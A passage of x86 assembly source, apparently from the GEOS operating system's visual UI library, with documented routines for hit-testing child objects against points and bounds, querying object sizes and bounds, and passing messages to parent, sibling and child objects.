jz doTransform
noTransform:
mov di, offset Resident:CallChildInBoundsCallBack
call VisCallCommonWithRoutine
exit:
ret
doWindowTransform:
test bl, mask VTF_IS_CONTENT
jnz noTransform
doTransform:
; If this group lies in its own window, then transform the passed
; bounds.
mov bx, ds:[di].VI_bounds.R_top
push bx
sub ss:[bp].VCCIBF_bounds.R_top, bx
sub ss:[bp].VCCIBF_bounds.R_bottom, bx
mov bx, ds:[di].VI_bounds.R_left
push bx
sub ss:[bp].VCCIBF_bounds.R_left, bx
sub ss:[bp].VCCIBF_bounds.R_right, bx
mov di, offset Resident:CallChildInBoundsCallBack
call VisCallCommonWithRoutine
pop bx
add ss:[bp].VCCIBF_bounds.R_left, bx
add ss:[bp].VCCIBF_bounds.R_right, bx
pop bx
add ss:[bp].VCCIBF_bounds.R_top, bx
add ss:[bp].VCCIBF_bounds.R_bottom, bx
jmp exit
VisCallChildrenInBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallIfInBounds
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine invokes a method on the passed object if its
bounds overlap the passed bounds.
CALLED BY: GLOBAL
PASS: *ds:si, ds:di - Vis object
ax - method
ss:bp - VisCallChildrenInBoundsFrame
RETURN: nada
DESTROYED: bx, cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/ 9/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallIfInBounds proc near
class VisClass
mov bx, ss:[bp].VCCIBF_bounds.R_left
cmp bx, ds:[di].VI_bounds.R_right
jg exit
mov bx, ss:[bp].VCCIBF_bounds.R_right
cmp bx, ds:[di].VI_bounds.R_left
jl exit
mov bx, ss:[bp].VCCIBF_bounds.R_top
cmp bx, ds:[di].VI_bounds.R_bottom
jg exit
mov bx, ss:[bp].VCCIBF_bounds.R_bottom
cmp bx, ds:[di].VI_bounds.R_top
jl exit
push ax, bp
; Test to see if child's bounds hit
call ObjCallInstanceNoLock
pop ax, bp
exit:
ret
CallIfInBounds endp
COMMENT @----------------------------------------------------------------------
ROUTINE: CallChildInBoundsCallBack
SYNOPSIS: Checks to see if child is under current point. Calls the
child if so.
CALLED BY: FAR
PASS: *ds:si -- child handle
*es:di -- composite handle
ax - message to pass
cx, dx - data for child
ss:bp - ptr to VisCallChildrenInBoundsFrame
RETURN: carry clear
cx, dx, ss:bp.VCCIBF_data -- returned from child if called
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/91 Initial Version
------------------------------------------------------------------------------@
CallChildInBoundsCallBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov di,ds:[si]
add di,ds:[di].Vis_offset
mov bl, ds:[di].VI_attrs
; Make sure item is enabled, detectable, etc.
test bl, mask VA_FULLY_ENABLED
jz exit
test bl, mask VA_DETECTABLE or mask VA_REALIZED
jz exit
jpo exit
; Check if the object's bounds overlap the passed bounds
call CallIfInBounds
exit:
clc
ret
CallChildInBoundsCallBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallChildUnderPoint
DESCRIPTION: Default routine for passing input message down a visible
hierarchy. Calls the first child of a composite that is
realized, enabled, detectable, and whose bounds lie
under the point passed. Sets UIFA_IN before calling such a
child.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message
cx, dx - mouse position in document coordinates
bp - other data to pass on (NOTE: Bit corresponding to UIFA_IN in
high byte MUST be able to be set if mouse is determined to
be over child -- basically, bp high must either be
UIFunctionsActive, have a similar bit in the same position,
or not be used.)
RETURN:
carry - set if child was under point, clear if not
ax - Data returned by child. If no child, is cleared to NULL,
unless message passed = MSG_META_PTR, in which case
ax is returned = MRF_CLEAR_POINTER_IMAGE.
cx, dx, bp - return values, if child called
ds - updated segment
DESTROYED:
bx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
Doug 1/93 Updated doc to clearing indicate input nature
------------------------------------------------------------------------------@
VisCallChildUnderPoint proc far
class VisCompClass ; Indicate function is a friend
; of VisCompClass so it can play with
; instance data.
EC < push di >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di >
mov di, offset CallChildUnderPointCallBack
call VisCallCommonWithRoutine
jc exit
; return flags clear if no children hit
cmp ax, MSG_META_START_MOVE_COPY
jne notHelp
push ax, cx, dx, bp
mov bp, ax
mov ax, MSG_SPEC_NO_INPUT_DESTINATION
call ObjCallInstanceNoLock
pop ax, cx, dx, bp
notHelp:
cmp ax, MSG_META_PTR
mov ax, mask MRF_CLEAR_POINTER_IMAGE
jz exit ;Carry is clear if ax = MSG_META_PTR...
clr ax ;"clr" clears the carry
exit:
ret
VisCallChildUnderPoint endp
COMMENT @----------------------------------------------------------------------
ROUTINE: CallChildUnderPointCallBack
SYNOPSIS: Checks to see if child is under current point. Calls the
child if so.
CALLED BY: FAR
PASS: *ds:si -- child handle
*es:di -- composite handle
ax - message to pass
cx, dx - location in document coordinates
bp - data to pass on
RETURN: carry set if child hit (to abort sending to other siblings)
ax, cx, bp -- returned from child if called
DESTROYED: bx, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 10/ 2/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
CallChildUnderPointCallBack proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx,ds:[si]
add bx,ds:[bx].Vis_offset
test ds:[bx].VI_typeFlags, mask VTF_IS_WINDOW
jnz noMatch
mov bl, ds:[bx].VI_attrs
; Make sure item is enabled, detectable, etc.
; Allow mouse events to get sent to disabled objects. - Joon (11/10/98)
; test bl, mask VA_FULLY_ENABLED
; jz noMatch
test bl, mask VA_DETECTABLE or mask VA_REALIZED
jz noMatch
jpo noMatch
call VisTestPointInBounds
jnc noMatch
or bp,(mask UIFA_IN) shl 8
; Test to see if child's bounds hit
; Use ES version since *es:di is
; composite object
call ObjCallInstanceNoLockES ; if hit, send to this child
stc ; & don't send to any others
ret
noMatch:
clc
ret
CallChildUnderPointCallBack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisTestPointInBounds
DESCRIPTION: Test whether a point is within an object's visual bounds.
Used by mouse handlers to see what object is clicked on.
CALLED BY: GLOBAL
PASS:
*ds:si - object
cx, dx - point (x, y)
RETURN:
carry - set if poing within bounds
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 9/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisTestPointInBounds proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC< call VisCheckVisAssumption ; Make sure vis data exists >
push di
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
; check for windowed object
test ds:[di].VI_typeFlags,mask VTF_IS_WINDOW
jnz VTPIB_window
; not a windowed object, do basic bounds checking
cmp cx, ds:[di].VI_bounds.R_left
jl VTPIB_outside
cmp cx, ds:[di].VI_bounds.R_right
jge VTPIB_outside ;must be INSIDE object bounds
cmp dx, ds:[di].VI_bounds.R_top
jl VTPIB_outside
cmp dx, ds:[di].VI_bounds.R_bottom
jge VTPIB_outside ;must be INSIDE object bounds
VTPIB_inside:
stc
pop di
ret
VTPIB_outsidePop:
pop ax
VTPIB_outside:
clc
pop di
ret
; a windowed object
VTPIB_window:
tst cx ;(0,0) are top,left coordinate
jl VTPIB_outside
tst dx
jl VTPIB_outside
push ax
mov ax, ds:[di].VI_bounds.R_right ;compute right
sub ax, ds:[di].VI_bounds.R_left
cmp cx, ax
jg VTPIB_outsidePop
mov ax, ds:[di].VI_bounds.R_bottom ;compute bottom
sub ax, ds:[di].VI_bounds.R_top
cmp dx, ax
jg VTPIB_outsidePop
pop ax
jmp short VTPIB_inside
VisTestPointInBounds endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisGetSize
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Returns size of an object by looking at its bounds instance
data.
CALLED BY: GLOBAL
PASS: *ds:si - instance data of visual object
RETURN: cx -- width of object
dx -- height of object
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 2/15/89 Initial version
Chris 4/91 Updated for new graphics, vis bounds conventions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisGetSize method static VisClass, MSG_VIS_RECALC_SIZE,
MSG_VIS_GET_SIZE,
MSG_SPEC_GET_EXTRA_SIZE
class VisClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
push di
mov di, ds:[si] ; get ptr to object
add di, ds:[di].Vis_offset ; ds:di = VisInstance
mov cx, ds:[di].VI_bounds.R_right
sub cx, ds:[di].VI_bounds.R_left
mov dx, ds:[di].VI_bounds.R_bottom
sub dx, ds:[di].VI_bounds.R_top
pop di
ret
VisGetSize endm
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetBounds
DESCRIPTION: Return the bounds of a visual object, from its instance data.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of visual object
RETURN:
ax - left
bx - top
cx - right
dx - bottom
DESTROYED:
nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 12/89 Rewritten for extra composite function
Chris 4/91 Updated for new graphics, vis bounds conventions
Chris 5/20/91 Restore to get rid of stupid composite function
------------------------------------------------------------------------------@
VisGetBounds proc far
class VisClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, ds:[si]
add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance
mov ax, ds:[bx].VI_bounds.R_left ;add in real bounds
mov cx, ds:[bx].VI_bounds.R_right
mov dx, ds:[bx].VI_bounds.R_bottom
mov bx, ds:[bx].VI_bounds.R_top
ret
VisGetBounds endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetBoundsInsideMargins
DESCRIPTION: Return the visual bounds of a visual composite object, inside
its margins.
CALLED BY: GLOBAL
PASS:
*ds:si - instance data of visual object
RETURN:
ax - left edge of object, after the composite's left margin
bx - top edge, below the composite's top margin
cx - right edge, before the composite`s right margin
dx - bottom, above the composites's bottom margin
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
Chris 12/89 Rewritten for extra composite function
Chris 4/91 Updated for new graphics, vis bounds conventions
------------------------------------------------------------------------------@
VisGetBoundsInsideMargins proc far
class VisCompClass
EC< call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov bx, ds:[si] >
EC < add bx, ds:[bx].Vis_offset ; ds:bx = VisInstance >
EC < test ds:[bx].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_MUST_BE_VIS_COMP_TO_HAVE_MARGINS >
;
; Get composite margins and set them up as offsets from the real bounds.
;
push bp
mov ax, MSG_VIS_COMP_GET_MARGINS ;get control margins
call ObjCallInstanceNoLock ; in ax/bp/cx/dx
mov bx, bp
neg cx ;negate right, bottom
neg dx
mov bp, ds:[si] ;deref again
add bp, ds:[bp].Vis_offset
add ax, ds:[bp].VI_bounds.R_left ;add in real bounds
add bx, ds:[bp].VI_bounds.R_top
add cx, ds:[bp].VI_bounds.R_right
add dx, ds:[bp].VI_bounds.R_bottom
pop bp
ret
VisGetBoundsInsideMargins endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallParentEnsureStack
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Call VisCallParent, but ensures that there is around 600
bytes of stack space.
CALLED BY: GLOBAL
PASS: same as VisCallParent
RETURN: same as VisCallParent
DESTROYED: same as VisCallParent
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/18/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallParentEnsureStack proc far uses di
.enter
mov di, UI_STACK_SPACE_REQUIREMENT_FOR_RECURSE_ITERATION
call ThreadBorrowStackSpace
call VisCallParent
call ThreadReturnStackSpace
.leave
ret
VisCallParentEnsureStack endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallParent
DESCRIPTION: Call the visual parent of a visual object. If no visual parent,
does nothing.
CALLED BY: EXTERNAL
PASS:
*ds:si - object starting query
cx, dx, bp - data to send along
ax - Message to send to visible parent
RETURN:
carry - clear if null parent link, else set by message called.
ax, cx, dx, bp - returned data
si - unchanged
ds - updated segment of object
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 2/89 Initial version
------------------------------------------------------------------------------@
VisCallParent proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push bx, di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, offset Vis_offset
mov di, offset VI_link
call ObjLinkCallParent
pop bx, di
ret
VisCallParent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisGotoParentTailRecurse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Method handler to do nothing but VisCallParent. May ONLY
be used to replace:
GOTO VisCallParent
from within a method handler, ast the non-EC version
optimally falls through to VisGotoParentTailRecurse.
PASS: *ds:si - instance data
ds:di - ptr to start of master instance data
es - segment of class
ax - method
<pass info>
RETURN: <return info>
ALLOWED TO DESTROY:
bx, si, di, ds, es
PSEUDO CODE/STRATEGY/KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
doug 1/3/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisGotoParentTailRecurse proc far
class VisClass
call VisFindParent ; Find parent object
GOTO ObjMessageCallFromHandler
VisGotoParentTailRecurse endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisFindParent
DESCRIPTION: Return the visual parent of an object.
CALLED BY: EXTERNAL
PASS: *ds:si - instance data
RETURN: ^lbx:si - parent (or null if none)
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/89 Initial version
------------------------------------------------------------------------------@
VisFindParent proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push di
EC< call VisCheckVisAssumption ; Make sure vis data exists >
mov bx, offset Vis_offset ; Call visual parent
mov di, offset VI_link ; Pass visual linkage
call ObjLinkFindParent
pop di
ret
VisFindParent endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisSwapLockParent
DESCRIPTION: Utility routine to setup *ds:si to be the visual parent of
the current object. To be used in cases where you want
to get access to a visual parent's instance data, or
prepare to call a routine where *ds:si much be the object,
or for cases where you otherwise might be doing a
series of VisCallParent's, which can be somewhat expensive.
USAGE:
; *ds:si is our object
push si ; save chunk offset
call VisSwapLockParent ; set *ds:si = parent
push bx ; save bx (handle
; of child's block)
pop bx ; restore bx
call ObjSwapUnlock
pop si ; restore chunk offset
CALLED BY: EXTERNAL
PASS: *ds:si - instance data of object
RETURN: carry - set if succesful (clear if no parent)
*ds:si - instance data of parent object (si = 0 if no parent)
bx - block handle of child object, which is
still locked.
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 11/89 Initial version
------------------------------------------------------------------------------@
VisSwapLockParent proc far
class VisClass
push di
EC< call VisCheckVisAssumption ; Make sure gen data exists >
mov bx, offset Vis_offset ; Call generic parent
mov di, offset VI_link ; Pass generic linkage
call ObjSwapLockParent
pop di
ret
VisSwapLockParent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallCommonWithRoutine
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine takes a method, data, and offset to a callback
routine
CALLED BY: INTERNAL
PASS: cs:di - ptr to callback routine
RETURN: args from ObjCompProcessChildren
DESTROYED: bx, di, whatever ObjCompProcessChildren dorks
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 12/ 9/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallCommonWithRoutine proc near
class VisClass
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < push di
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di
clr bx ;start with initial child (first
push bx ;child of composite)
push bx
mov bx, offset VI_link
push bx ;push offset to LinkPart
NOFXIP < push cs ;pass callback routine >
FXIP < mov bx, SEGMENT_CS >
FXIP < push bx >
push di
mov bx,offset Vis_offset
mov di,offset VCI_comp
call ObjCompProcessChildren ;must use a call (no GOTO) since
;parameters are passed on the stack
ret
VisCallCommonWithRoutine endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisSendToChildren
DESCRIPTION: Sends message to all children of visible composite. Arguments
will be passed identically to each visible child.
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - method to pass
cx, dx, bp - data for message
RETURN:
cx, dx, bp - unchanged
bx, si - unchanged
ds - updated segment
DESTROYED:
ax, bx
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 3/89 Initial version
------------------------------------------------------------------------------@
VisSendToChildren proc far
class VisClass
mov di, OCCT_SAVE_PARAMS_DONT_TEST_ABORT
FALL_THRU VisCallCommon
VisSendToChildren endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
VisCallCommon
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Utility routine used to call ObjCompProcessChildren with
args appropriate for processing all vis children.
CALLED BY: GLOBAL
PASS: di - ObjCompCallType
RETURN: args from ObjCompProcessChildren
DESTROYED: bx,di, whatever ObjCompProcessChildren dorks
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 1/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
VisCallCommon proc far
class VisCompClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < push di
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di
clr bx ; initial child (first
push bx ; child of
push bx ; composite)
mov bx, offset VI_link ; Pass offset to LinkPart
push bx
clr bx ; Use standard function
push bx
push di
mov bx, offset Vis_offset
mov di, offset VCI_comp
;DO NOT CHANGE THIS TO A GOTO! We are passing stuff on the stack.
call ObjCompProcessChildren ;must use a call (no GOTO) since
;parameters are passed on the stack
ret
VisCallCommon endp
COMMENT @----------------------------------------------------------------------
ROUTINE: VisCallFirstChild
SYNOPSIS: Sends message to first child of a composite. Does nothing if
composite has no children. Does not allow for passing stuff
on the stack.
CALLED BY: utility
PASS: *ds:si -- handle of composite
ax -- message
cx, dx, bp -- message args
RETURN: ax, cx, dx, bp -- return args
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Chris 11/22/89 Initial version
------------------------------------------------------------------------------@
VisCallFirstChild proc far
class VisCompClass
push si, bx
EC < push di >
EC < call VisCheckVisAssumption ; Make sure vis data exists >
EC < mov di, ds:[si] >
EC < add di, ds:[di].Vis_offset >
EC < test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE >
EC < ERROR_Z UI_REQUIRES_VISUAL_COMPOSITE >
EC < pop di >
mov si, ds:[si] ;point to instance
add si, ds:[si].Vis_offset ;ds:[di] -- VisInstance
mov bx, ds:[si].VCI_comp.CP_firstChild.handle
mov si, ds:[si].VCI_comp.CP_firstChild.chunk
tst si
jz exit
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
exit:
DoPop bx, si
ret
VisCallFirstChild endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisCallNextSibling
DESCRIPTION: Call next sibling of a visible object. Does nothing if object
has no sibling (i.e. the parent is null).
CALLED BY: EXTERNAL
PASS:
*ds:si - instance data
ax - message to pass
cx, dx, bp - data for message
RETURN:
cx, dx, bp - unchanged
ds - updated segment
carry - may be set by message handler, will be clear if no next
sibling is found.
DESTROYED:
bx, di
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Eric 2/90 Initial version
------------------------------------------------------------------------------@
VisCallNextSibling proc far
class VisClass
push bx, di
EC< call VisCheckVisAssumption ; Make sure gen data exists >
mov bx, offset Vis_offset ; Call visible sibling
mov di, offset VI_link ; Pass visible linkage
call ObjLinkCallNextSibling
pop bx, di
ret
VisCallNextSibling endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisQueryWindow
DESCRIPTION: Returns window handle that this object is visible in. If
object is a window, returns that handle.
NOTE: if you need a window handle because you wish to attach
a GState to it, consider using MSG_VIS_VUP_CREATE_GSTATE
instead -- this message normally travels up to the WIN_GROUP
object, & creates a GState attached to the WIN_GROUP's window
handle. Though slower than using VisQueryWindow, it allows
large (32-bit) composites & layers to intercept the message
& apply a 32-bit translation to the GState, so that 16-bit
visible objects below that point can reside in a 32-bit
document space.
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: di - window handle (0 if not realized)
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
------------------------------------------------------------------------------@
VisQueryWindow proc far
class VisCompClass
clr di ; assume not built
;
; Check to see if the object is specifically built yet. Unfortunately,
; VisCheckIfSpecBuilt checks to see if the object is specifically
; grown. This object doesn't have to be a specific object!
;
push ax
push di
mov di, ds:[si]
; Has visible part been grown yet?
mov ax, ds:[di].Vis_offset
tst ax
je VCIVB_notBuilt ; if not, then can't be visually built yet.
; See if visible master part has any data
; allocated for it (Visible world used?)
add di, ax ; point at vis part
; See if part of visible composite
tst ds:[di].VI_link.LP_next.handle
je VCIVB_notBuilt ; if not, then not specifically built.
stc ; else is visually built
jmp short VCIVB_done
VCIVB_notBuilt:
clc
VCIVB_done:
pop di
pop ax
jnc VQW_notBuilt ; nope, exit
mov di, ds:[si] ; get ptr to instance
add di, ds:[di].Vis_offset ; ds:di = VisInstance
; if object is not a composite use VisQueryParentWin
test ds:[di].VI_typeFlags, mask VTF_IS_COMPOSITE
jz VQW_notComposite
mov di, ds:[di].VCI_window ; fetch window handle
EC < tst di ; null is allowed >
EC < jz VQW_100 >
EC < xchg bx, di >
EC < call ECCheckWindowHandle ; make sure win handle >
EC < xchg bx, di >
EC <VQW_100: >
VQW_notBuilt:
ret
VQW_notComposite:
FALL_THRU VisQueryParentWin
VisQueryWindow endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisQueryParentWin
DESCRIPTION: Returns window handle of parent of this object.
NOTE: if you need a window handle because you wish to attach
a GState to it, consider using MSG_VIS_VUP_CREATE_GSTATE
instead -- this message normally travels up to the WIN_GROUP
object, & creates a GState attached to the WIN_GROUP's window
handle. Though slower than using VisQueryParentWin, it allows
large (32-bit) composites & layers to intercept the message
& apply a 32-bit translation to the GState, so that 16-bit
visible objects below that point can reside in a 32-bit
document space.
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: di - window handle (0 if not realized)
ds - updated to point at segment of same block as on entry
DESTROYED:
nothing
WARNING: This routine MAY resize LMem and/or object blocks, moving
them on the heap and invalidating stored segment pointers
to them.
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
------------------------------------------------------------------------------@
VisQueryParentWin proc far
class VisClass ; Indicate function is a friend
; of VisClass so it can play with
; instance data.
push bx
EC< call VisCheckVisAssumption ; Make sure vis data exists >
clr di ; assume no window
push si
call VisSwapLockParent ; setup *ds:si = parent
jnc VQPGW_30 ; if no parent, return null win handle
call VisQueryWindow ; Fetch window handle, if built
VQPGW_30:
call ObjSwapUnlock ; restore ds
pop si
pop bx
ret
VisQueryParentWin endp
COMMENT @----------------------------------------------------------------------
FUNCTION: VisGetParentGeometry
DESCRIPTION: Returns the geometry flags of the visible parent of this
objects. NOT INTENDED TO BE RESILIENT TO PROBLEMS -- will
fatal error if the data is not there...
CALLED BY: EXTERNAL
PASS: *ds:si - visible object
RETURN: cl -- GeoAttrs
ch -- GeoDimensionAttrs
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 10/88 Initial version
------------------------------------------------------------------------------@
VisGetParentGeometry proc far
class VisCompClass
push bx
push si
push di
call VisSwapLockParent
EC < ERROR_NC UI_VIS_GET_PARENT_GEOMETRY_NO_PARENT >
EC < call VisCheckIfVisGrown >
EC < ERROR_NC UI_VIS_GET_PARENT_GEOMETRY_PARENT_NOT_GROWN >
mov di, ds:[si]
add di, ds:[di].Vis_offset ; ds:di = VisInstance
